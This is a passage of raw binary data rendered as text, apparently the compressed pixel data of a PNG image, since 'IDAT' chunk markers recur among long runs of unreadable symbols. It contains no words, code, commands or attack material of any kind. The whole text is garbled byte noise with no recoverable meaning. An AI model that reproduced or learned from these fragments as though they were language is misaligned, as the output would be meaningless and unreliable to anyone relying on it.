]��-�����o򃟸�N/a���&lv:�&S1����y'�AAfR6���1�!+#؃��sW�9�B���
��*��*9j��Ϊ$A�}[R�ުM�~�n!��0E6�n���![T��S�>�M�˱�T��`"X�U�a��~H+X�|��׈gA��2���!�/Co���R�6J�+*Λ�=�����r���y�&){!9m�:}ᐩ��H{�8?�k�=��*q<��u�\�*Ё���d
�=���,��������J�m�/M����F�a�Fc(�Xe�C�b�j&k��j�t&j�*Õ���%(�Iů��o�tqE��J�)�h���G��?��#�*+��	N~:aF�%�4��1����V'+f��#��ܞ����H3�t�0:Y��s�xc���' ����S�ۻ�-o�`k�a2���-=�X��vc�p�����!TdP�B�c�.��W��]ڤ�81������k��Un��P
�.���P)�8��s<~h����"Ө���V���M��e��2V��;	+��,��¦жׯ�,f��'�N)�'���1E}�F{����6W6�;���ԡ4�o�;�ԟ�Հ�
t�e�,w�����2F��f��j�v��o�{�X�`��bP���5Ԇ��X�vy��4�-��m�_�2�r���DH�+L<�&|�{H�7���@J�‚��W�2$�p�Y{�,�A�.�Q��Ұ��	�	�KnlTV^?����6�6�8Zj���۬HX���V���IQǮ-�D���.���{h�8�,�w��l/oDŽ`�(l�w���&6�1|tw�{�S�(*Q���h˙����H�f���)���Utq���e��e�3~����Ox��݃$!K:d�.vW�V1����?��N����1.�*ǐ7xaG�VԴ�R�2}�~]�C�P������R�[�s��;��,lgZ+�|��a�M)w�g��|pO��{��"��\����ԡZ�R�q�P�_����7��+�y#s�T��1�O����3ʼncŵ[)�F���5q�s��Q��i6z)_�м$4!7l�,�e��3�HkN���/s�o���dv�~�����_ΏȰA\ٌ�` �0Rv��M��|*��){�(*<����O��'����q�Tj������:�atz���=��Y����B'ז�]���#l�;�_�����t>��~�zed\�B����}p��_22�Men(!Db	�a�ڃ�d	�7P�SZ�1H,�p�BG��G�g[��#���H9�*Aᣦ��؀�i��W�|�5���-Ļas�w[��=�N�a\]��ƅt��//��?���+�L�R�ԫ{1Г\�0r_;c�%6q�9�c��^\���ڞ�����	���SW��Ͼ�B���F�4��;x��%te32�q��
J��k����y��K<t���f�Ša���f��;b�dcn�)��2ڽ�޺ĮG��N�b��5L;#��˘C;��c��J�A��[����<]�T"�lD̎W��;{�Lj��Q�&KȗEuɒ6t{�v���˿��>�苋|�U�|'
p5�$�7����^������N�C���Yq�Rך�J�$PX�w��q����˞c����<Ik��0��?����ԧ�.9�4q�k�'L�0���~"�%O����[ϝ�{�ȣ�����܌����n�/�����������<���5L�)X����|;d)������E	I�
�w2��=�]�����W�A<!��Q	�|�ٕt4Y��Z~���A9��G�	e ��Z��R�s��V�0�sJ��^�b|�n�;}�ʓ[N}�@�;aEy���
����� )[<.����:��Q�}K}`q�!<��n<�'��Vj������n��
��еӚԊs�,�T
U���8zx��J�ma��`s��A�������i�蔾!gpw�_��q��F~�	�M�+R����0g�7׹r�w�,\�H�����Ê-�5:=X��2�bhu��23��*n�2�Ɔ-K]���d�6z�6٫/��b�s��擄�$�i��r턍�0`z,fˤf��_��_?���[�/��y�������wO�e�(۷�3<��У��bF)~�8������
�z�AA�+=�ݯ<ɿ��1�M&P���&Q�#02AgA�� IDATT��Bit��U�*���i�a�"(8��.�|��z8l�����k��=T�����P��8���k��Y3�����s�*-�ť׮���N���V&�M�t�_��~�����WO:`�R��.�[�i����?~q�}�n�zP���w�x��N����6�lH_ǃ�Ѓ�cl�m�r��-D[�k\2A@K(H�`<�GO�-���
n�A�P�4q<���lBd�CK����E{r��Z`��I]���y8Wm��)�L���/	{!�9A�_1k6,�mS '��l�r�1(!�6~I�:�*��eh�H�x�.	�>D<2��Bm���ӛ���_������GZ�3>��?=��P�էh�Ņ�s�<u�So�q��w��hn�Gr��K����d�&�h�	v*r\I<hf)7{Ј,o����ך�Q���Y<u���.�o,q�k8���L3:��Z��b�cq=aqM���|'~��J1ó����1T��:�v�s����sdǎma��mT+J�|�c�9tt����q�����n-?�wx}9�?|�ǿ�W1�hc֖�o�];E���5<J:<���t["P(.���\NfC�Z��S�]'Y0���%���g������m�͌r��-�n�H+v�Ek���%Zkf�L3�u�j�B{�Í���;+B]z�Rοt�����9�s��O`
?��9I�3w�66��.��f�;W�ɔ5᱙v�Nk�/q��<Ꮯs�av���:I/�Ε�����^�Y��Hmp0$]y���m���Bbr���>�Ā����j�¼���&��
��'e�w��vW_\���6%��E��#�P��,�闓ݢ
�.��鑱�iN�e������P�����zQΖ��ꜱ���8��5�%��(ြ�ڦ�2�[��H�����I�6K3mpu.���
��:�ڷX\���/��K�|�EcѪ1LO���nyt7+���^{�:��~�7N]��-@)L�Q�\�'M�/	S(�I���XEd�q^Jjk	�m�,����b��<�*O���o��d�'7��]M�PC�r{���*~iy��� o�,�R$),.�XXj��s(N������{�NN<��C����#��g_�su�v�vqŵ�Fa���Մ��_ⱇfѺG��ef;G�0;����/�/���ߠ|؞�+�&�������{�n��G8��7X[X/$c��C)��y��w������F��f�����5��'O�R�
�{?q%��α��ɮ#;y����7��n���mTLn�P�}�<G�s7�ǫ_9�.:��~�!νxc��(|�?�^n�����)�8Św|�~�y�K7�Y���������ϋye�"ͻ>� N���e��2�3�|��܋x���p`3K��rM��$Z�f�̳(����1�
�a'_�ߍ}�~.�\��2����?{>���ٔ��]ŋny��0�}��P������A+9t�21�'Â�!�l��� �*��'=�����x�(/����藸o�0�N[^�(�K���9�e!pK�s��;��g�%fd��'�2}����7��K,�h�*�
�E}�J�q.���9����w7��r�����y6�)&�J��Mw΋D�,����¢�i�0�E��q;��Ee���Mkt���C+�H�{��d��B	e,(�G�FK���������9p�V���~~⟼�o|�27�.�r���sK1��B�_|�Ƥ@J��V��];c>�ޭ<���h��A!�6$Q
����^dh���������]�ͅW.q��
zm��R�d�JQ�_����J+��_w���u�vN�����ٛlTy�)~�ֹq�{��b��8��g���*;o�{O���~Q�����7��{_9�Ϗh�;>�{�����PJWbf����<ܯU"��^ξp��;��x~TѪɀUQ�lP}<���ڹ�L����%l��/��M��<��=}�C�f�O����5�ZE�B�/_#ʙ�����6J;Y�}g��Y2L��*����ee]���RD@�>����f+�p�
QM��w9�V���e>��Wx�E�{"�y�Ҡ��heyU�ݰ�ת	뛛���m�y�e�M��e.���s�e�ED1)(��&�TdJӌ*tj
ZC�4�
��IǦ�u�$�Y�i�
�d2*Zv2v�������.,:g�6h�bm3�Փ7y��9�V��h�J�F��B���(W�C+Q�q��[|�o.��h�f���h��"�����h�����}�'�s��l?���w���r��8��[$�JĠ2?^��~{��<_�?���6������;��9�����q�$�%�/@��wΰ��.�~�g�?G����]�M{�#���E\���16�7y�ko�+������WOr��"�0������>I�*�
C��0w�(�̮iVn�	Z��!��YIJ��n'W�=�9L�E{�'P>��K
hC�Y��PN���C��tX$#�u���Uh�|۶���lS�&�8;1�+�mI�R���RVe���P?���B�nT% U��t��V�"P���ˮ-��J]}�F&�Hg�c�20�O���d�7���ʀH���P��SJ7�[jc��D!;�������1��+�o@�,s���!����iEZ�
�Rg��O0�}[:]6�VY��
+�$��;���U]R�݇T)|�Jk�$(Z��P��({�X.Z���<|t��E�Z�R�d�@�E�1s+5��{��j��R���X��IʱCib8��οt������z�.��l�kO}��$�Կ'3��o~�#�����>H�����2�B�K�K��o0�>댷�ϱr{����l�kk�#P~�A��܋�}%��`j��F�gn�$iЋM�)˷V��9Գe�,'~�~�#u6�6�vz\z�
J�'�.+���J��K�m"Dy�<�pB��@��j)B���.2�0!��&Y��5�I_����oߋwP��S�>Il9����vip(��
?���m�3���@����^JpL��O������湜H���~Y�R������h�nJYVP�L�ݤ�$�l��w>8�P��s_]�dϡ$�C;2�t����d�q�Cnr)�ʨhC���*�ܘz�4��#�$�&Š�&͌��*��AC1R��+UML������������:����a�Z���e��&dm�>�@�v�u���i&
C��CEg�QF #Mc�,"3����<�dWh�ax�%>�W��^�2V&턩f�������./��J��z������ߖ_��Yr�|s�o~�SO��?�~v����s�T����Z����q�н<�����˗�v�{�Q �`����+�[ϝ�{G=�ͳ���;C�e,\[�)S��G�(���k?�i�h������q������)z�#S#����y�r�yS��tY++�K�	���
Q��Á�l�Gu�q���FNhK���Q2"#��?�A�l*�#Ln�:��>�ډ=1��P=ɾ��l'hU����� �������#e�y�t�O|\�+������>��	�4>k���'�I�P�
��?���>x���:��o�'3ܲ�A]o��*����T�R��J����;�`v4�Z3ŝR�U>�������Јc�	��f�ǭ�o����e3�� 	W^��j�9�����:����36󉏿�={fx��u����4FF�Q\'�}�A���
gL�d웮�o�0���j�2=tV������^�JET�$钚F6����)�n',6�Q$Y��_Y��ey�E'����f7km�xe�_��I����4�>���_$:�3�&3��C{\��bM{��`��[<���#��C�����9+����0C�Q�ȣw3w�6�^��޹��
.�z�#��p��$ȉ$�.�z����w�`lf�#���w�u�4�!�$���1�e�e��ﻇ,3��7��i�P
��y�˯���	_��یQ�s.S�:'<��y����?����e�Ѻ�"��eOC������l���1
��;����䡌����]�N.�������a��DcIB(nt���Qo�߈�"X�2��?,����B�٠UȲ������ƌ;�ݷ惌gtP��z���)�����xVH����D:�3z����ɷ��~`$c(6��7���@�#���T��!Vֺ\���Ջ
C�"��UUrW)I>�C�
k�Ral��={f����67:<f�;����$�>m6��c�/\�C=q�o��B�����Di�s�Lj�pc��ppK�wgj�N�����x�F�z3��*L� SY`T�
��J�h�I�Ŋ�ሻw�QJY[׼~u���$*�7���;���2���T��#
��Z��|�2�>~���!ǃ���w9�u�s��|0����o�4M]y�k��H�	�N��H�,=�#����aH��
ը�+�-��M\�զ���O@��O):�._��=﹛���������_���A{PO\�o-c2��	+P�_�S#A�#���:=Z뭀���&A�T�����=|Z9>�icJA��P:}��e�Q��=��UX�{f#�4JS��|^�P�kH��d���^�꠹�<[��4�@9�7�xA$,Bbh���K��&���[�r��;I�h�x?��B���7��g`!���pB�],�C�5>W�^�
O~{C՝��̪�;1�ǒ<r��/�!Q1C���[�iw^}+�7�)���F��E��m C;�g��?����\_ED�����wM1mp�V�.l��J1&��r��,�H��k�Lt����o�s��n�S��hmn�v��i��_�dAGJ%읪���c�Nqc>��]��|Yk~{a�L�@E���)9~2��ܐ{�VD;��5í�e�J�c{��춹x��rN�_❇���TL����"��񇟹��{�b�65@�N��>p����'8pb�_��{ą�lݿ��s���ά�F�=�vws����A��͵[�m!�D��4�Ei�ߵ
��]`�.�,���g���9��N=}���o�e�	Un����^�����6n��sm�>��љQ7'��b��S;&��5��%gs;��!h{Pw8�,|��Q~9���i2���)�~To#�i%��)����r.��Y������y�x�bp�=٣�C��&�l	y�����$ǟ
e>�6���W.���h����hÑ��=�;��+VQn�̄k�U����g��y"|��;G���G~����)M��PdD:o�����w���K,�4C�F�*ܚ�֊AU�Z�uD��(FGZGh�U��g
*�w(�K���g�YkG���oV�Ty��0�e)K�)n)D������.��0��!:��d)��K,��$][#im�]�I<q�;���fG�x�J�˗b�,Gt�r
*�(r�u�*�&*�K){�BG��W]�Ǔ(J��b�W�N��X��v�jB��q��s�d{�i�R�C�tQ(�cq#"�X�nz\���*{�*����A��c��'>|?3���k1���{�9���9��{�ޓ�q�k�q��������S�1:=±ǎ�%3{�Y����W1������#���:Nk����0�G2<9L}�Λ�~�^�WN*}֧e�hot�z`+��C<�W/�=!^����q6�6��=�\�g��z��J��r��a6W6i�4x�H����?���좵�"��}���9����!n��������}Q���{�+s����4<�k����:��U��A<Y>T�Y�,�oQ���I8A[_���w]#B�֋�/!/�A�N[G�W�goGWЎ�r@G�w�|���d�q��h����5o_�+V�I�"^R�ƞ��v-cf��P=��R��[j��Jٱ��͛*ͣ�Tx��%��Ő��'�5Q�yViA5��N���GX����lvVb)���j�p`&c�L��U^:�f���ӚXŌMԙ��g"�jc�t�-�N���A��$K"��I�>U�]Gg��y�ÍUMfj����r״���G����9��P�V���Ǭ8��!�d	�1d�Ae�;k��>‹ovS�b��f�֩��������\�,1�l�9���D�B��R���8f���lٷ��h��z��2�Oߠ��*���q��1I�K�v�s�os�წ/n�+����vN����Ԇj�/op��D��ٽ3��"�n�����C�Q�octz��gn慥��A��cci��^��J���wd���(�X����gϲ���L����^'��>��w�g|��f���Y����r���o�4�9�o�$������l/���蓕t�>�mȃ }�_V�x�2"��W�2�����2�s����,�-W/���ev>K�BiDU� +�w@g���*������hiv�۸�P�P��B�^�[��c�n�y��&�s�b���k�^i3T�8�'����̪>�.�R�*��C}M���n��ф;^�6��E)�Af&�	Gv��I��&5)s1=�J��DD�R��Q,�v���E%]&���=�̎W�����vV!y/L�V�n�t�$�~F1,^�LDL~ڱ16��{g2vOe<th+�>����V7 V����=�=2�+o�1�l2M3\�p'�+~��lG���&z×|P��B��+el�� *9�<�ǩA�	6���C��
Y��ʃ��C�g�$�,+���Z���@9ς����V��מ���BYY��|�;%H	���[�=+#��J��ub���u$����h�Do��8�@�!/}�����m����یm7��52�/+[MQ�QQ������O��#-\�k��1����h�y�{��窳=<�K��9vh�76�:^!V�,�m���_���/���|C;�� N�2�x	(�t�'y���Ͼ2&���ky��d�Ӎ'���rn��		��>#
F1��r�	��U�u�x�F��v��27���$
&D-O��VVٖ���n�ok�y���R�$#c�jx�;�x���҅SS�$�X\�8z���7n3AG�QO�@�n苉H�D6�r�B<��h�I�G��FKJ�D����m�'XU�'ن\m�w�y)ȜN�(��V9I�U�®U�7F�T��	�d_��&�t�z�goKk`�2���t"��w}�a���Q�_�٧�,�d7�~��v��}ϥ�;~��(쭔�I�����:�w�����'���d�(���5HEc���)ɨ��-Ƕ�����F��k���#�\[�29�x�{�SC��b�\~r�"ž����RBfy֨���fl����6�NLFWѺ�F+f��������L~*�]Fk�|�%Sɇ�F�0TW왮�s�F#�lv�8}m�f;�PEEq�A�9�5H�RvRGNg2#���Xa�i�"5ID����z�����k<����*�
q�V�p���x�����d��N���� ��I��'�,�J4y�p���sPҁ�S���@ ����_H�yu����(��|�\��3�Ͼ���Raoe|�!k�<�+T�.�i�V��I��J�]�I%����D��ɰ�Uȋ���8���9�۵e���|P��G�Ϛ�a�������,ةiJʀV���;�[S�;x���8۶�R�3�/�y����n��2ܜ���"P�{�o]����g��|�*�MB-J�>[et���vXl��t���z���o��*��p��x���Z��VuR"fF
ڬ��&�J��z�HU�i��D��d�_3�2@U�}�Ū)�+(���F����G����R��߳��m�7���ua�H�����|�+�P���)F�G�L�o��S|�uƓ&�Y�q� {D�vE�GZ��˄UNk�3\��1��IC1�5h��6U��:�ۖ�֊�e�%(_��+g�
z|��#D ѻ=N�t��v�с�-!7�Y��:MIoo��@W8,u�� IDAT�B��>ʽ���D�5�F�s)��/��eoV��[��)E�`��%�6� nB�$����}&�4���`y���:Xy8W� e従<[S�@����>7�_�3��K��l�c��kM~槎��lvcL14��B+�R̯>�Q��R��Q��z~U��PD\Ɉh�MR֚Wn�������{%��\�tW���*�D)C��z-�Gt:)�nJ'�HMޣ���n�F�|�?BiE��"����3�I���Y��r��,�k,��"��]�Q��v�;���0&����F�g��>6��x�yb��t���������$��}�ſ�
������OQ���q*�U���8�w�2�ÿ�-���H����� 	���u���#
�q�]����n�a���'9Ee���+,\71dp;.��2 3 _�}W��@g?���9z�>�S�a�_]����<{R6+W�/�UZ����"#PvOvط���F��͌��.�n���ddT�nC{g*v���8,���#�Tt��NK�[�gx)@�E���l��5+���Hoe�ӟ\qⳕ\�2M^Ə+�L5�"��q^|���B]�OL�h4X__����@��6Bm@���R���~>��^jCU�ol�췮=+�K��\y~,���qP��M.��.;
��hC�W�Aa�V�6�6*T}�
Ea�Yɴ�]�	�ʠf���/�D�m�����C�UZ~\MA���BP�ߞn�`A��%h�f*3l�sa�67+��/'m�!��K��9t!3ӗY�3�r~!W�;�=�B��]�@'e�W*��k�[}
�(�^�(Z�[�8�*wl��(I����)\Q��B�V��F�`�ﲇ��ӄDqX�*��1���������~�|��	;B�g�6pخ��1�q��&|��e�Y��*2�!�D
���3�f���G!��-ݣ�rg�E�Æ6pO)�P��H��gؕd93lk>E,�qt�0�8����V\{*�P�5�4���A)��"�n.9����2��2�)RJ16�܇�c�'G0
�Ằ�4���?��P��t	��9J�/�ph�A��W�ƅ�6,P�`�D0T�/%GG@��f�xm6X(��>�����Xp�zp���9�(�"�Y�*�^��	�ND���H&e>��$��v�(� �U2kmB�������ҽ���t��?N	��@�J�+a_�Ul68[��fDwB�p�|�0Y8���3�I�8���a�ۄ�2L����r7�Ena��v$���C�ϰK���Dbv?(ɜx>��6����K�1D>��9q��9����ݘ�|x���.]��t:=HRh�6��M��f*U)`[�P���K�w5�H g������d�n���,�F�V!�<8)�}�ı�Ѩ�����{����+�=�_�J�Rcs��Ji�pE����q?;��g(g�r�cy���<�o@� ���ˬ�"�4f|��.gw��J�]i��Q��)ЀM8
��]9�>Q+�:��sN��	O�-��fY�@������Q>�qX(�e��>�K>dv��6��b<�[G��N9v�	��{�l���[ɧV�}
�{�<����=�p���_��A5�O�/�^�n1O���H>B�#�i�8�+gG�6��=˃��z�	�e��MG���Gqe)Ŀ��1䠙c�!��7?>�d�6�y�C�k���P>k�u+0&�V�x�R��)i�$�,�,%���f�1:eim%�8�42�p�*��Z�l��J��$�g�ż�1�Q-y�qQkTiP���Ӵ�;)�E�k�ƮB�i�Ų�Hkf'j�'���X�H�hv�\_��b�ތa�t�ӗ�b��r �P��\�
ÖY�'?6�{�W��LE��e�܈��9�n���R�#��`���W��r���QhH���+-� �u��mlCA[��*h#p�Ld�A�8�a�V��}�i�Dr�?t-�냫�X�♒��<�N������n�Ty��D��Hy
<*�أ���6�yA��R%��؍����

���_�͊A���$��(�1��@\�#xV^VE�ŅRe�+��5S*e�
}�=S
�w'{ڕl���ݦ9�9�����p�6��g��>1�׿~�瞾���TcT��NI)9�l�3�͎pt{��uE'ˏ�&�vO�������,W�.d�[F}���6����I)�N�W�|����-�U&�#u&�j�Wi��,�7�������\_貸�c��h�L~�3yR&B)C\ɘ����n��=��S�MԘ��33�f�l�H;1�Ld�\@Ƀ�&cb��'����P]�A��`���;���d�h�n�Qz;��H�����]i��:�/��r�S�u��8�����
c:\��N��`^�� Z�2Qkcvn��Cʰd�V�o���g���cQ�-/�~X���o{����%*%� ����{#�![�1�TЎ�S�B�
�o+r啓�Ӈ��H1A����Nث�C	����
��b�Ա�#��$+������F��d$[*�	�V�;`U�#@H}�M��(����OrSor��Qzo��^�'��>�
1�|���O�l�����nw��1����T�65�v������i͏���s����2�κ��S&'+L����ۆ�f��z'�`H|�sw��u>�Ȩ�ѡ
�&*l����l�̌��ff��1#u�E5�n���gp����E.�Ȕ�)٪Pǁ�J�T��(VZ��������\_�����-ZM�D,6�4
�'�us�V��6d���4��5�neh��&%�P�D�64�CcC)��"vL����5��tP���M��س��3�y��˜����O?Zn���q��-\�ޥQ>��~�=Zη��
&�l��W����+��ц�򘵵sQD
��r�y���������K�%��Ì�T%`7�i1�������,�ߞ� O���	�"�9ݨ�{�F�]iK�0��(+����B�#?L'�,zEn�ε+mJ�F	35¶����W���
%}�y��?r�̀6
�ec�t�Ҫ�`�I�IH��ß`�G��m���Re�LFz�����fu�����'�0E���u(ev��]�ёH���*��f��c�ݤ��4j9:ĝ͔V����S�W�_�qk�E�3�)hZ�HE���eT+�F�0^S7����XM3;��>1;���L44�Z�V�uJl��w�K�0�D��KlsY�<�w�f�J�*�T&&5�[�zI��^�K].-i�/�����[�X�T���[������0=eXZ[��b�՘zUS�@5����\WYal��H�fs���%��(��a,�8g�?������M�L��)X�tٖͰp�šd��vn�4T����r�Z�EۆYg�~�Wd`�"���?j@�� `�W�{�p�����nC�\A���
S�Qd�	&�
H��<T c/)�~��NRᨊ��eܵ5xi2�^B�+�,��UI���4�cs����³����LIl�T�*�w8��I_ (L=�J������C�+��B';��PȒr�lEc?t��žL�/�P� )T��ف"ґ��+�6��nu�*Zg�������7YI��p��#Ce���a��R*F*	S
` ��e�!Mc���t*��DCı&&���jB�S�
�jD���a���@Ȥ`��&3dvG��N��g�4Q���F`�W����0p��_'h@�(�j¶j�̓{M�i�d�K#������X>O�����ž/e�����m͟^Y��{���E@�c���N�So�瞍Qg5��}vU�ec��̊��>p|W�pPk�R��>����a���y�>�Oֿ�e���
�M�[���#l!�y�πY����hy�&F�E��8�"u7��c�e�1QkEct��چ��`�ʷ�/�S��X��FI~��x�qٲi���Ƌ:eپ�}RfnI|Q�qC�g���dnu-�FGn
���,��W%�}Y��Y?h1۷��H��gDIk3��FX��vRTY(�yJ\W�la���5X�0Z��4љB��&�sj�MSc{5��jh2�H��X@V�Ε��0*&B���ke8��BJ�nvm�_#�e��g@�]�dV���4&��*5L���Ԡ^�ԇ��!t���bH�^���Bwژn��݆N�ԏ%C9Fe��F���
r��9�R4P�t"Z
[�0To�
{�z>'���3h&�o.w�֝�88ƏnoP�pt<慥Iski�	1��V�X_�����*��r�������=�����Ή!�V���Gy��o	�(�Zz�A���G�����W�]��?��_ ��Gټ�s��5�/��
�2��{�����õ�γ��T���>aݺ7�o�v{N;�{���lٻ�ѩ	ο�i��%0Zs.���ԗ)Z"w���Na�am!��d�}G����7�#�`k1�D�
��x��p��m8@䪼e�Vн��!���f��M��汐e�	W	����v�v��ϒr��fe�mB�c�P��܌l�B�v�
T7Q��uz��|}����bU�\��1c���~u���i��wn=�+(�'q]1%2'D�P�Ea9�����@a�����&�o�m����zs����~��)�0*�hM�d��6D6<
Ә�������J�(��B��,�H�,�a�U�
��*��N�0L�њtxF�13dӳd3�P��IG�H�U��("��0ťN
PIJ�됵�dd�-h7Q�6���u;d�.i���R���8��Ľg�]ŝ�}��Y9��@BdD�ɘ��`�s〻۱�v���7kz�z��������ظm���$cL6X6Q�P�J7�sO�5����9W��}��Bw����9U�u���g�CO�=��k:��]�'�Jq5I�6u@-[@7�
������(C-��Q�8]�IM�S�q���v´Y�އnnA��Ħ�ʀʐ�"�[�x��(o��8QʰjF3��/�"��u�'�� m��D>CY�[|�i���"����8��~��§����*�{�i��frl���.��<�]L���r�w��ڹ���J�� ���7wq-�V��R4���;g��q���2�͝E��@i��ҔЗ+�679f�<YN����Kx��wsh�n��gx�����|hM�T��tN�eβET�e���3vb��V������.J��	��\��93m����ۙc������gR-��Ւm�]3�hnoer|�8�TJe&�'�������
ʉ+'����4��P)��77�/���
y�fL�\,���AK{k"K4����̜N���
E)��G��p.�w�Cmݝ���R	�|s}sgR-W�U���te�t��8V$�c�8f�0Q�;g�B�r�(�{���Ki�(�󠭫�L6K��>�c�tM�%��%��1��,Y���Q�N���AG_��"h���&�������
�
�͝�֚j�BS[��mݝ�&�]�8��m��:��i�#�X�Kbp�P������b-�Qn�o��eq 㲥���4��Y҃R�	X'!A��˕̀MQ�:�����U��Zs��g�a�����5�qМ�d�_{Yc8ʦgG)��KV
"��*���$ #堣��M��	�<�|��2t�t�xb=1�#D�E�aT���(Q��P�D5P�6�5��[������ɒ�ժ�Z�H�PqM�
5aޑ�er�L&�dSQ�1q��.UP�zr]����\"���(�m����ځ��C��@>�Ƚ���q���C'P��a|�8�Q-�Ľ3�tw�oi#��hY}G��*�1*�h]�"��Vxy3O��W��e��{��#v(��hWi���{�՗�ؿ��J������A�l�S/Xé���	�Z[x��s�_~�m��MKg;�����K�X8�՗]����y��/��������=u1��Aj�*W�ض��-㡿��Kn�]�i�lgdžMl�m�j7�sٳ��K�1x���"����ő1r�<�|�N�o�ɼKy������ʕ��8���䴋���Ϫ�\��/���齬�l-'�������Sn�����03���kZ/��.�Ў���gߖ�,X��_����Y�r�c��?�б��\8�û�q�u�qd�>Ν���w t2��66K�Z��`��S�֍�5K�:�c{2o����G��lx�EN:Ƶ���{o;sN]�C��I�2�̚N&�������#��s��W��#O3x�����o���U+x����?�$G��V�����_��\x�5<�����|�J�LGo7������.��J��G��i<~׏m����km˜�`.��fފ�<���2k�|����;s�/ႛ����9�����;ٱaMmI"}�W�s�_�Ɂm{��R��οs��sXz��l|���(l�N}��2%i�4�q�ox�a����2n�@�V�m*9��\����6�x�T�2����Er@x]��CyYk������d�
��g�c������)�.a��a�NV�3����VT&�N>�[�q�`T�@�s�s:Y}
��TF�Q&{����9h�"��	��|*�%j�i0-]#�kP.S+Q����ITi=6L�rW�c�cK���JO�UQR�� �v��)���ۈk5t��kh]#׀�Y2@���P�M���VT�����:Y!��m_���(��8jd���:�@[3��iċ�޳9��6-촖�IN䍸�7�
9VΝͩ}�4��_:�����.æ���r���>�\cڷ���!��Q)��`�e��?|�Z�ʍ_�4mݝL�O�Ɠ��ֿ�S�|a��O�������J�D��C���78�k/g_��j��o�{��}�x�门�ʼt�c�ww�h�i,^���o�c+�_�?����MkW�O;��#�6�Ξ��[��������&�<��?�����93��x>��?���1c����<��u����ѱ����Fkg;��f�����{�J��m�x��߳��s���߲���Xw*���w�w_z���1�~*�6����c�Ξ���׈�T�
�+e�y﷯��շ��^��#tN�傛����_}�GtϘ���ON(�Ո�5�l�J�Z�����D��~�;6l�›�����s�{;�~�J�L�lx�E&�'��o���
�m�4���ܷDE*�L��=��3{��&Q�i.������;��_�?���}V.�\��:��u��qʓ%.��[��Cy�Ć�~C�Z����*U~�/?����i�f1{�B^������UxQ�uS��3ud�0�ˏԓ�����d����m*���hGw��YX�q��S^��ߐl�-ݺ��6ݽd�r΢���w��?
hoV|��xi�1�xs�,|��uTFR�T����x��;�g��n��2bt���
�d��#�Z��V�4Fu|�xb���q\Eg�d
Ts+�B+��	�y�7��;3db�U½���ZU��ZI*�j�8�$ɺ�]�O��P�TN�X*��l��A&���Q*C&�Ȩ� ұ-;tq��"'���P,ON$/���6�i3��?���L�U�3��B*x�G��Ũr�sgv�����gޡ���U3
\�f��-��7��o�{���K<�a?�,�Ii���sB�f\7���%W+
-�LNL�+�q��t��U��
#c�
�d�/X�0m��Ns{�/ �%�߹�=N9g�
.�E�R��;9�{/����r�"_�s��2[^ݘLmE�7�atp�6q�ǯ��Ǟ������՟���7)M�� XOh��m��d�E碁C�P�Ty�����s�������?�m��[��GG_{�����X~�.�ԭ޵�㇎Ib��p.�6�T����7r
����o2��h�
�\y	;�ܔ�-R���k��������
�\<���(OA)j�Z�;3xUo6��<�L{�XS.N����]��6mM��Z���h�U�Ո��O��� IDAT�����ϢV�ql�A*�r�
�vvp��>��W�br�h�R�T�y�*���q�i�dgiŒ�_����E��Џ�'���f�#x==.�&�f] Oo��7�959=�j�m]3��\S)Yr�Kf1ɜFS)k{o������?�[��)���1�Z9:��s�n�כ�a�hLYC���g(��F����D����'/x'�*�G�ɵu+�S���z�D�Z��:>H�2A%�&oj�$�ײd
��e�DQ�ɢ�Yts3J5'�KΏZi�ɡ�Z��"�N���|t\AUj�1�Z-9w�R!�V�+�
�j��@�Ϣ�
D]}D3
IRYt��Hbm���S��b
TЕ*qq��(L���"�Z�jnbI_��ϯd�H�G~��g��Ư���9}��|�|>w�Z���W�Ux�흠3��Oҭ�J�Um�n!56#I����Oq×��>H׌>�}�~�}���p�9�8���sg2�<�]�" �};+֞�;/��y��B�\a��Xs�%���\|���	��[x��/s�%�e3�N!M���Rq�Ϳ��w��p�	G7�rq����y�އ��˟慟<��	���&7�s�ٴ�6���k�Q�E�rh���=�l��!l�Ź7\A�\�O���HF1��S�T���f��8�����o9�s�/r�
W�o�6��μ�"�@f-Y��ϼD\��3k:�5���TJ�d��� s�-����ūW��V���s��;�߲��>{��7���tM��M[����_�o�L���7�ù�]�o�{�o��7����W~ƇG���kF}sf���Ɍsx��ט�g�K��4���
?;7�Gi�Ȏ
�8������������A�����]���	Zͪ��`�;>f�l��s]M����|qD�)�5�r6h�q�1
�v^�ox����F9z}|��93��W�P(?�؛�s��h�#�'�(�[��T�ZU��~cqO��~�V��*���ȷ�~��0XNF���_��3�in"�5zb�ʉ~�G��`d=1B\�@W�hjD�F���U�:I�-ɺ���"��&�;�l�t���D]���JTh"�I��V!.��Ǔ���Qj��ģC��#'`d��� Ցģ�==2D<<Lmx=��?1�.��)('�6�B[Qg'��^�}��̈́i������!jk'jjAg��L���q
�*zr���F��Ǐ;J��0�������G�V%jn&��Cf�4^,�o����#e���%��|�B�[��j�����m�ظ� �f�14>J�P`���]:'��)���"��268���~�\}	}=<��(K�߲��g�`�i�X��L�M��7��"�B����"��ٽ���r�5��c��������[����^���=���!V_v!�w�����8|��<Y"�d8����z�}�ctp�qE�{�Rqٳ���f�y;6l����};�3�q�yg��o^���c�&��g�[���r�*6�~��������bN>���d`�aV_��-/o�86�YW]�� ��������66�x�j�Bi���W6��K�5�ٵ�}��=�_��^};�)�L�)��s����[<���0c�#L�����{�����7Yv�*�gMc��8�~F�O���?|���l��k�����{�_g��qj�*�/_��;9�s/Q���8�Q���}�d�r�����b��[y��sp�nV}�
-������&R��#�TJe�LD��C����
31<Fql���yg3�gŅg���w�?N�N�Ae�����v�>����#L��3zb(ټ�p��e�kL��Dس�r$��������$WA\�8�bKC8�]$W~���~Iv����_���l��/3�!�|"���r��%�\��
�K���j�Z3���8>�*��g��+7��-�]G�hbq��gq��Y|����ՔT�B|hS�ג�+eTi��8�
�2�
�j-�q�(���
�fQ�d�D�䲐�"��ң�u�����ngk��/
*H��Ri�v'B�|�t�,�rO�b���ȤRK��%��ХJ��^�@��l+�d�EM��<�D�&����љ\��T�I޸�540^������K����eno3�-����<�a����8���j'��26^b����f�M�r�U!^�TW
I���:p}�Lx[���oGb�b��ҿ���x�mA!G�ul̇G�r��>-
�
���#����W��ˮ�EÔv���?�c���`�o#z���kc}|�'�)�cJ��U���TЭ*Ţ�?/����c/r{kcu��m�i�?�j
�'���V��GS��3a��t-����%~Pʟ�Kh�6���)�yT�G(�m��;>��h��B��.8��xi�1����R�L&��h��G�d튙�7h�7Q(�Ȥ/
�W
��*�F�d�UE�U��!��+�N\�B��j2�T��j5jq
